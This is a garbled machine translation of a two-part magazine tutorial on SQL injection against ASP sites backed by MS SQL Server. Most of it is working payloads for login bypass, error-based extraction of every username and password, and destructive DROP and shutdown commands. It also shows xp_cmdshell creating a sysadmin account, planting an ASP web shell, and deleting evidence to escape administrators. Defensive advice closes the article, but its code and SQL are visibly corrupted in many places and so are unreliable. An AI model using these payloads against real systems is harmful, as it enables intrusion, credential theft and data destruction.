server|sqlserver| Stored Procedures
Objective
The safety of computer systems has always been a priority for you and me, but maybe you've been fixing files for the system, anti-virus software, setting up firewalls, delineating demilitarized zones, and so on, but perhaps due to the negligence of writing code, you have a big hole in your back.
SQL injection– Hacker's SQL blank fill game
In today's application architectures, most of them contain databases to accommodate a wide variety of data. In all types of databases, a relational database management system based on a Structured Query language (SQL Structure query Language) (RDBMS relational db Management system) is most prevalent.
In general, when accessing a database, a typical programmer uses a third-generation language such as Visual Basic to organize the SQL language and then pass it on to a relational database system to create or delete data structures, give or remove usage rights, and add, modify, delete, or query data. Because all of the execution actions of relational databases follow SQL commands, it is easy to do all kinds of data maintenance work in this way. But also because the SQL language is omnipotent, so a few loopholes will allow hackers to take advantage of. This two issue of the article on the subject to do a thorough discussion.
Access to information on the Web site is generally dangerous, because the Internet is an open environment, and unlike the general corporate intranet, it can filter the identity background of the screening staff in addition to the security design of the computer itself. In the snake of the Internet, most of the users are guided by the rules, but the few who are plotting are deliberately hacking into our systems to steal valuable information. But the general network management personnel and web designers, may be in security settings have a lot of precautions, such as erecting a firewall, design demilitarized zone (DMZ), limit the identity of the site login and so on. However, because of the lack of knowledge of SQL language and database management system, the backdoor of the system is open.
This article for Microsoft's ASP Web site architecture with MS SQL Server to do a discussion and demonstration, hope to provide the site managers of the SQL injection intrusion mode has a basic understanding of the author in writing this article, the use of search sites to find a few members of the mechanism of the site to test, Most of them are in danger of being invaded by such means, and we cannot be careless.
The author first set up a general Membership Website Login page example, as well as the relevant information table structure as follows:
The Schema of the table is like the program code Listing 1.
CREATE TABLE [Tbluser] (
[UserID] [INT] IDENTITY (1, 1) not NULL,
[UserName] [nvarchar] () not NULL,
[Password] [nvarchar] () not NULL,
[Pri] [tinyint] NULL CONSTRAINT [Df_tbluser_pri] DEFAULT (0),
CONSTRAINT [Pk_tbluser] PRIMARY KEY CLUSTERED
([UserID])
)
Program code Listing 1: A table Schema that holds member data.
and add two contents to the data sheet
INSERT Tbluser (USERNAME,PASSWORD,PRI) VALUES (' Admin ', ' AdminPass ', 10)
INSERT Tbluser (USERNAME,PASSWORD,PRI) VALUES (' Byron ', ' Byronpass ', 10)
The login page is written as a list of program code 2.
<%
If request ("UserName") <> "" and Request ("pass") <> "" Then
Dim Cnn,rec,strsql
Set cnn=server.createobject ("ADODB. Connection ")
With CNN
. Connectionstring=application ("Conn")
. Open
' Combine SQL syntax with user-entered data
Strsql= "SELECT * from Tbluser WHERE username= '" & _
Request ("UserName") & "' and Password= '" & Request ("Pass") & ""
' directly to SQL Server execution, which is the most dangerous place
Set rec=. Execute (strSQL)
End With
If not rec. EOF Then
Session ("UserName") =request ("UserName")
Response.Write "Welcome" & Request ("UserName")
Else
Response.Write "Your account/Password input error"
End If
Else
%>
<form action= "Login.asp" >
User name: <input name= "UserName" ><P>
Password: <input name= "Pass" >
<P>
<input type= "Submit" value= "OK" >
</Form>
<%
End If
%>
Program Code Listing 2: Simple ASP login page.
The ASP Web page in program code Listing 2 uses VBScript to combine query user account, password SQL query syntax, logic is fairly simple, if the table contains the account number, password records, the back of the recordset's EOF property is False, the user even if the correct login.
For this kind of Web page, we start to use SQL injection technique to "shocking" this website!
Splicing grammar
Log in 1 with any known user name: For example, in the Internet café secretly observe what kind of user account login to which Web site and so on, or first try the general manager may establish the user name, such as: admin, Administrator, Supervisor, SA and so on.
Type the following 2 where you want to enter the user name:
Admin '--
And the password field randomly input, for the execution of the whole sentence of SQL has no relationship. The schematic diagram is shown in Figure 1.
Figure 1: Log in with a known member name to allow the program code to skip the password check.
You can try to sort the contents of the input user name with the SQL syntax of program code Listing 2, and you will find that the syntax that is actually passed to SQL Server is as follows
SELECT * from Tbluser WHERE username= ' admin '--' and password= ' asdf '
The key is that the original and clause is labeled "--" to indicate that SQL Server executes only
SELECT * from Tbluser WHERE username= ' admin '
Naturally, if the user exists, the SQL query syntax returns all the field contents of the record. And then according to the program code List 2 of the way: The return of the Recordset is recorded, if there is a successful login verification. The hacker can easily enter the identity of the user.
Login with unknown user name: If there is no known account number, you can enter the user name field in the following way:
' Or 1=1--
The entire syntax that SQL Server receives becomes:
SELECT * from Tbluser WHERE username= ' or 1=1--' and password= ' asdf '
Because the plus or 1=1, regardless of the previous condition, as long as a certain condition is true, the entire judgment is true, so the returned Recordset object contains all the member records. Also causes the Recordset object EOF property in program code Listing 2 to be False.
Using error messages
Get the number and name of a field
Microsoft in order to facilitate the ASP's program developers can successfully debug, so whenever the Script executes errors, will be through the preset < system disk >\winnt\help\iishelp\common\500-100.asp The Web page will be uploaded to the front end for the wrong reasons, which is a very convenient way for developers to render the error. But hackers can also use this error message to get the query syntax from the original ASP and learn about the schema of the tables in the database. For example, in the User Name field, enter:
' Having 1=1--
The system returns an error message such as Figure 2.
Figure 2: Deliberately making mistakes, looking for clues from the wrong message.
Figure 2 lets you know that the table name that holds the user is Tbluser, and there is a field in the query called UserID. So again we enter:
' GROUP by UserID has 1=1--
This time the error message is shown in Figure 3.
Figure 3: Use the error message to understand the approximate structure of the data table.
Again, in the error message in Figure 3, the query field has UserName, so continue to query 3 in the following ways.
' GROUP by Userid,username has 1=1--
By using this approach to the full query syntax, you enter the following syntax, but no longer perform a time error:
' GROUP by Userid,username,password,pri has 1=1--
Because the entire syntax passed to SQL Server becomes:
SELECT * from Tbluser WHERE username= ' GROUP by Userid,username,password,pri has 1=1--' and password= ' asdf '
The group by way that lists all the fields is almost equal to no group BY, but the syntax exactly means that all the fields are already included. The hacker can approximate the field structure of the table.
You can add custom users to the table by performing the following syntax where you enter the account.
'; INSERT into Tbluser Values (' hacker ', ' hacker ', 10)--
Get field Data type
The data field bit format can be interpreted by using the error message returned by the following syntax if there is a wrong format for the data fields, resulting in the inability to join the custom user:
' UNION SELECT ' abc ', 1,1,1 from Tbluser--
The result returns the error message as shown in Figure 4.
Figure 4: Use the error message to determine the data type of the field.
Here we combine two select queries through UNION syntax, the first of which is the int format, but corresponds to the second UserID select syntax; the data in the first field is the ' ABC ' of the varchar format, so it appears as Figure 4 The error message. The hacker also learns that the data type of the first field in the table is int. After you have patiently tested each field, you can get the field format of the entire table.
Get the member's account password
Using this technique, you can further obtain the user's account number and password, such as the following syntax to ask the account number:
' UNION SELECT username,1,1,1 from Tbluser WHERE username> ' a '--
The IIS postback error message is shown in Figure 5.
Figure 5: Use the error message to obtain the user account number and password.
Because the returned record "Admin" is the nvarchar format, and the union corresponds to the original int data field bit, there is an error message in Figure 5. The above error can be learned that there is an account called "Admin" exists, and then the following syntax to obtain the password of the account.
' UNION SELECT password,1,1,1 from Tbluser WHERE username= ' admin '--
The error message is shown in Figure 6.
Figure 6: Use the error message to get the password for account admin.
Then continue with the following syntax to obtain another person's account password.
' UNION SELECT username,1,1,1 from Tbluser WHERE username> ' admin '--
The error message is shown in Figure 7.
Figure 7: The other person's account password is obtained sequentially through the same mechanism.
By replacing the condition content of the WHERE UserName > in turn, you can get all the account and password combinations in the table.
Hackers can even string the entire user account password into strings by using the following syntax: Enter the user account's field into a SQL statement like program code Listing 3.
';D eclare @str VARCHAR (8000) SET @str = ' @ ' SELECT @str = @str + ' +username+ '/' +password from Tbluser WHERE username> @str S Elect @str as Idpass into tblhacker--
Program code Listing 3: All the user data is composed of strings and placed in a custom datasheet.
In program code Listing 3, first declare a string variable of length 8000 @str, then put the contents of the entire Tbluser table into a string of variables @str, and finally use the SELECT ... Into ... Grammar puts the contents of @str variables into the Tblhacker table.
And then use the above deliberately create the wrong skills to change the contents of the data.
' UNION SELECT idpass,1,1,1 from tblhacker--
The results are shown in Figure 8.
Figure 8: Retrieve all the member account password data.
Of course after the event to do a cleanup action to avoid the attention of system administrators, still in the Name field entered the following content.
' ; DROP TABLE tblhacker--
In this issue, I introduced the general SQL injection attack, I believe you are not excited and eager to find a few sites to operate, is to feel the creeps, quickly review their system. No matter what you are, I hope that this article will not be misused, if you want to test the safety of the station, I suggest you to inform the station's management staff, so that the entire Internet network of the world more secure, the general people will be willing to flow ripple on it, and our information personnel have a better future.
In the next installment, the author will continue to introduce the Advanced SQL injection attack, and put forward the precautionary way, look forward to seeing you again.
PostScript: This article does not refer to Microsoft SQL Server alone, as is the case with all relational databases such as Oracle. At the same time, this article does not refer to the example of ASP, in fact, all dynamic Web pages such as JSP, PHP, etc. are such (even if your system is still stuck in CGI technology is the same), I urge you to review your system in real time, to take precautionary effect.
(This article is authorized by the SQL Server Electronic magazine http://www.sqlserver.com.tw the exclusive reprint of Taiwan's Microsoft)
Comments:
1
As far as the author observes, nowadays many of the websites with membership mechanism are used as the ID card to login account number, so the hacker can try this method as long as they find a way to get a member's identity card size.
2
The following SQL injection are logged in using only the fields of the user account, entering different SQL syntax to organize the various possible execution modes, and using "--" to mark the following password fields as SQL instructions.
3
The first trait of a hacker: patience. So I do not have the talent to do hacker, in order to write this article, the author repeatedly test each website, repeat the process is very boring, the conclusion is that since there is this energy, I would rather read more books to earn a legitimate income.
SQL injection– Hacker's SQL Blank game (next)
SQL Server itself provides a lot of functions, stored procedures, extended stored procedures to assist T-SQL, so that the program designer through T-SQL to complete the operation of business logic of the stored procedures required. But general users are more familiar with programming languages such as Visual Basic to write access to data, so they don't know much about this kind of functionality, let alone how to prevent hackers from doing so through this kind of function.
Use destructive grammar.
The features of the following enumeration are discussed briefly.
Disable execution of SQL Server
Enter the Shutdown command directly to require SQL Server to stop execution. Enter the account on the Web page where you can type the following syntax directly:
' ; shutdown--
Destroy content
Of course, as long as the permissions are sufficient, you can execute a destructive SQL syntax of 1. If you delete a database:
';D ROP Database < DB name >--
To delete a table in a database:
';D ROP table < table name >--
To empty a table:
' ; Truncate table < table name >--
or empty the table with the DELETE file:
';D elete from < table name >--
An extended stored procedure that uses advanced and powerful features
The stored procedures in this class are xp_ to the beginning of the extended storage program of the Master System database. Interestingly, most of the extended stored procedures are not listed or explained in the online instructions that are attached to SQL Server. The author thought that the Microsoft website uses the full text search to look for these extension stored procedure the clues, by the list discussion, but discovers mostly is no comment (undocumented), appears the extension stored procedure although the function is formidable, but Microsoft does not encourage everybody to use.
The author chooses several more interesting separate introductions.
Executing other applications
xp_cmdshell should be one of the most commonly used extensions stored procedures that allow SQL Server's system account to execute any application through this extended stored procedure.
The following program code Listing 1 uses the NET tools attached to the operating system to add a user account Hacker to the Windows system, no password, and adds the account number to SQL Server and then to the largest user power group sysadmin:
' ; EXEC MASTER.. xp_cmdshell ' net user hacker/add ' EXEC MASTER. sp_grantlogin ' Byron-xp\hacker ' EXEC MASTER. Sp_addsrvrolemember ' byron-xp\hacker ', ' sysadmin '--
Program code Listing 1: Add custom users and give the account maximum permissions.
If you also open the Internet access to SQL Server preset TCP 1433 port, the hacker will have the opportunity to control SQL Server in Tang Dynasty.
system stored procedures related to Registry
SQL Server provides a large number of Registry-related extension stored procedures, starting with Xp_reg as the Representative 2. The contents are:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
Hackers can use this type of extended stored procedures to access the registration data of the system, such as query the machine on which shared directories, examples such as program code Listing 2. Using the technique of the previous period, the error message is used to render the result.
CREATE TABLE Tblsharedir (dirname VARCHAR (MB), Diratt VARCHAR (100))
INSERT Tblsharedir EXEC MASTER. Xp_regenumvalues HKEY_LOCAL_MACHINE, ' System\CurrentControlSet ervices\lanmanserver hares '
Program Code Listing 2: Use Xp_regenumvalues to obtain the shared directory of the system.
You can get the results you want by using the techniques presented in the previous article to present the results in error messages, or by outputting the Tblsharedir as a file through the Bcp.exe tool program.
Extended stored procedures associated with OLE automation/com objects
SQL Server provides a set of stored procedures associated with accessing the external OLE object of the server. They are:
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
You can use them to create OLE objects (generic COM objects can, but to support IDispatch interfaces), execute object methods, read and modify properties, and do error handling. However, they cannot respond to events for general OLE or COM objects.
With the establishment and implementation of Com/ole objects, the control system can be a powerful, omnipotent. For example, a hacker can use it to get the original code for an interested page, such as a program code Listing 3:
';D eclare @shell INT exec sp_oacreate ' Wscript.Shell ', @shell OUTPUT exec sp_oamethod @shell, ' run ', null, ' C:\WINNT ystem32 \CMD.EXE/C type C:\inetpub\wwwroot qlinject\login.asp > C:\inetpub\wwwroot qlinject\test.txt '--
Program code Listing 3: Get the content of the Login.asp Web page.
In program code Listing 3, the "Wscript.Shell" object is built using sp_OACreate, and the Run method of the sp_OAMethod call "Wscript.Shell" object is used to execute the operating system command interface tool cmd.exe, the L ogin.asp output to the Test.txt file, the hacker simply enters Http://.../.../test.txt on the Web page to see how Login.asp writes, as a basic information for the next intrusion.
Of course, hackers can also use the Scripting.FileSystemObject object to create an ASP page backdoor, syntax, as shown in the Code Listing 4:
DECLARE @fs int, @fi int
EXEC sp_OACreate ' Scripting.FileSystemObject ', @fs OUTPUT
EXEC sp_OAMethod @fs, ' CreateTextFile ', @fs OUTPUT, ' C:\InetPub\WWWRoot qlinject hell.asp ', 1
EXEC sp_OAMethod @fs, ' WriteLine ', null, ' <% Set objshell=server.createobject ("Wscript.Shell"): Objshell.run Request ("cmd")%> '
Program Code Listing 4: Create ASP Backdoor Web page.
You can then execute any executable file through the URL, as follows:
Http://localhost/sqlinject/shell.asp?cmd=c:\winnt ystem32\cmd.exe/c type C:\inetpub\wwwroot qlinject\login.asp > C:\inetpub\wwwroot Qlinject\test.txt
Other related extended stored procedures
This kind of extended stored procedure, you may have to be careful also:
Name of the extended stored procedure
Use
Usage examples
Xp_availablemedia
Displays the disk drives available on the system, such as C:\.
Xp_availablemedia
Xp_dirtree
Displays subdirectories and file schemas under a directory.
Xp_dirtree ' c:\inetpub\wwwroot\ '
Xp_enumdsn
Lists the ODBC data source names (DSN data source name) that are already set up on the system.
Xp_enumdsn
Xp_enumgroups
Lists the user groups on the operating system and the description of the group.
Xp_enumgroups
Xp_getfiledetails
Gets the related properties for a file.
Xp_getfiledetails ' C:\Inetpub\wwwroot qlinject\login.asp '
Dbo.xp_makecab
Compress multiple files into a target file.
All files to be compressed can be connected to the last side of the parameter column, separated by commas.
Dbo.xp_makecab
' C:\test.cab ', ' Mszip ', 1,
' C:\Inetpub\wwwroot qlinject\login.asp ',
' C:\Inetpub\wwwroot qlinject ecurelogin.asp '
...
Xp_ntsec_enumdomains
Lists the network domain names of the servers.
Xp_ntsec_enumdomains
Xp_servicecontrol
Stop or activate a service.
Xp_servicecontrol ' Stop ', ' schedule '
Xp_servicecontrol ' start ', ' schedule '
Dbo.xp_subdirs
Only the subdirectories under one directory are listed.
Dbo.xp_subdirs ' C:\ '
Xp_terminate_process
Deactivate a program in execution, but the parameter given is the process ID.
Using the "Work Manager", the menu "View"-"select fields" Check the PID, you can see the process ID of each executing program
Xp_terminate_process 2484
Xp_unpackcab
Undo the compressed file.
Xp_unpackcab ' C:\test.cab ', ' C:\Temp ', 1
The extended stored procedure in the table column above is the author in the Master System database, looking for a more interesting name, after one by one test results. But does not mean that can be used to invade the system of extended stored procedures are fully listed, after all, the hacker's creative renovation, you must always be careful.
SQL Server's tool program
Some of the tools provided by SQL Server can directly output the contents of a table into a file, such as through the out parameters of bcp, the entire data sheet that stores the membership data is exported to a file, as follows:
bcp northwind.dbo.tblUser out C:\inetput\wwwroot qlinject\user.txt-c-usa-p-sbyron-xp
Of course, both Isql.exe and Osql.exe can do the same thing, such as:
Osql-usa-p-sbyron-xp-dnorthwind-oc:\inetpub\wwwroot qlinject\users.txt-q "select * from Tbluser"
This type of tool can be used with the previous xp_cmdshell extended stored procedures, or to use the sp_OA series of stored procedures to build Trojan horse ASP to execute, can achieve the purpose of stealing data.
Recommendations for preventing SQL injection
Combining the above various intrusion techniques, the author sums up some suggestions on how to maintain the security of the system.
Try to use ASP or asp.net to check and limit the type and length of input variables on the server side to filter out unwanted content. Note that these checks are not placed on the front end.
Even if you use the MaxLength attribute of the HTML Input volume on the front end, or if you set the limit of the length of the field with a JScript writing program, simply save the page with a new file, modify the content (generally just rewrite the Action attribute of the Form and the Input maxlengt H property), you can bypass these browser-side checks by reopening the browser. ASP program log into SQL Server account does not use SA, or any account belonging to the Sysadmin group, to avoid excessive permissions. SA must have a strong password, especially prior to SQL Server 7.0, the preset SA does not have a password when installed, and the general manager forgets or is afraid of trouble without changing the password after loading. Using the Command object of ADO or the SqlCommand class of Ado.net to execute SQL syntax through parameters, it is as bad as the ADODB Connection object to execute the stored procedure. Examples are as follows:
Exec spxxx parameter,...
Because the hacker joins the SQL syntax that can be executed:
Exec spxxx parameter,...; SHUTDOWN
We can create a stored procedure Code listing 5:
Ecreate PROC Spuseraccount
@UserName NVarchar, @Password NVarchar (50)
As
SELECT Username,password from Tbluser
WHERE username= @UserName and password= @Password
Program code Listing 5: A stored procedure used to find the password for a user account that matches.
Meanwhile, replace the entire ASP query with the code Listing 6:
<%
If request ("UserName") <> "" and Request ("pass") <> "" Then
Dim Cnn,rec,strsql,cmd
Set cnn=server.createobject ("ADODB. Connection ")
With CNN
. Connectionstring=application ("Conn")
. Open
End With
' Using Adodb.command objects to match stored procedures, hackers cannot
' Intrusion system using a combination of SQL strings
Set cmd=server.createobject ("Adodb.command")
With cmd
. ActiveConnection = CNN
. CommandText = "Spuseraccount"
. CommandType = 4 ' adCmdStoredProc
. Parameters.Append. CreateParameter ("UserName", 1, the Request ("UserName"))
' 202 represents advarwchar,1 representative adParamInput
. Parameters.Append. CreateParameter ("Password", 1, the Request ("Pass"))
Set rec =. Execute ()
End With
If not rec. EOF Then
Session ("UserName") =request ("UserName")
Response.Write "Welcome" & Request ("UserName")
Else
Response.Write "Your account/Password input error"
End If
Else
%>
Program Code Listing 6: Use the ADODB Command object to access the stored procedure.
As a gray program code block in program code listing 6, the method of accessing the SQL Server stored procedure is changed through the ADODB Command object so that the hacker cannot require SQL Server to perform additional actions with the syntax of adding custom SQL.
Get rid of a preset Web virtual path, and do not use the >\inetpub\wwwroot path of a preset < system with IIS installed, or you can easily move around the directory using the file access described above. Do not display error messages to the front end.
Using the On Error Resume Next for VBScript syntax, and with the error handling of If err.number<>0 Then, the error is automatically redirected to the appropriate error-handling Web page, so the system will be more stable, It is also difficult for hackers to detect the internal workings of the system through error messages.
Or, you can modify the < system's disk >\winnt\help\iishelp\common\500-100.asp preset page, the easiest way is to change it to name 3. The extended stored procedures that are not available but powerful are deleted. Monitor the implementation of the system. The firewall shuts down the TCP 1433/udp 1434 Port (port) external to the online 4. Keep an eye out for new patches to be on.
The above is a suggestion for the SQL injection protection method, however, we should keep in mind that there is no absolute security system in the world, only to be careful, to see more than to listen to the hackers have the means of renovation, the system is abnormal situation, only the continuous strengthening of the system of safety measures to minimize the harm.
Related Websites
Here are some questions about SQL and system security URLs that are available for your reference.
http://www.sqlserver.com.tw/
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
Http://www.microsoft.com/security/security_bulletins/ms02020_sql.asp
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/
(This article is authorized by the SQL Server Electronic magazine http://www.sqlserver.com.tw the exclusive reprint of Taiwan's Microsoft)
Comments:
1
As for the author's observation, the general programmers like to use SQL Server's largest default account SA to access data. So give the hacker with anything power.
2
The extended stored procedures for table columns can be seen through Enterprise Manager or Query Analyzer, but the books on the SQL Server line do not find the relevant data.
3
I do not recommend deleting 500-100.asp from the beginning, as this can make it difficult to debug a program. It is recommended that the 500-100.asp change the name after the program development is completed online. Add On Error Resume next/if err.number <> 0 Then at the beginning of your own ASP file, error handling should be the program architecture that you should pay attention to when you write the program, if you want to make it easy to debug, you can use single quotes to let on Error resu The Me Next syntax becomes a description.
4
There are reports that today there are web spiders specifically looking for the Internet, which can be accessed directly through the TCP 1433/UDP 1434 Port (port), but the SA account does not have a password for SQL Server, and then use the techniques described above to gain control over the system.
